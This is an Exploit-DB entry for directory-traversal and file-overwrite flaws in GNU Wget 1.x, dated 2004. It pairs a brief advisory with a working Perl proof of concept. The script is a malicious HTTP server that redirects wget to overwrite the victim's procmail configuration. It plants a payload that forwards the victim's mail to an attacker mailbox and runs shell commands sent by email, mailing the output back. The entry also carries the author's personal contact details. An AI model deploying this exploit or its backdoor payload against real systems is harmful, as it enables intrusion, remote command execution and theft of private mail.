Exploit-DB #24813
Description: GNU Wget 1.x - Multiple Vulnerabilities
Type: remote
Platform: linux
Date: 2004-12-10
Author: Jan Minar

Exploit:
source: https://www.securityfocus.com/bid/11871/info

Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:

- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input. 

Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.


--
 )^o-o^|    jabber: rdancer@NJS.NetLab.Cz
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min??  irc: rdancer@IRC.FreeNode.Net

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$[CREDENTIAL_REDACTED] ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-[CREDENTIAL_REDACTED]
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
        print LOG $_ if $log;
        if (/\Q$trick$filename\E/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they're here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=\(33\)-/) {
                # Appending goes like this:
                # (1) Tell'em what you're gonna tell'em
                # (2) Then tell'em just a half
                # (3) Close it
                # (4) Wait
                # (5) They're comin' back, with wget -c
                # (6) Tell'em the sploit
                # (7) Close again
                # (8) Wtf? They're comin' back with wget -c again
                # (9) Tell'em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG "File if $1 bytes long\n" if $log;
        } elsif (/^\r?$/) {
                # The HTTP headers are over.  Let's do it!
                $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
                if (!$second) {
                        # Print the payload
                        print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
                } else {
                        # Print the redirection
                        print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
                }
                exit 0;
        }
}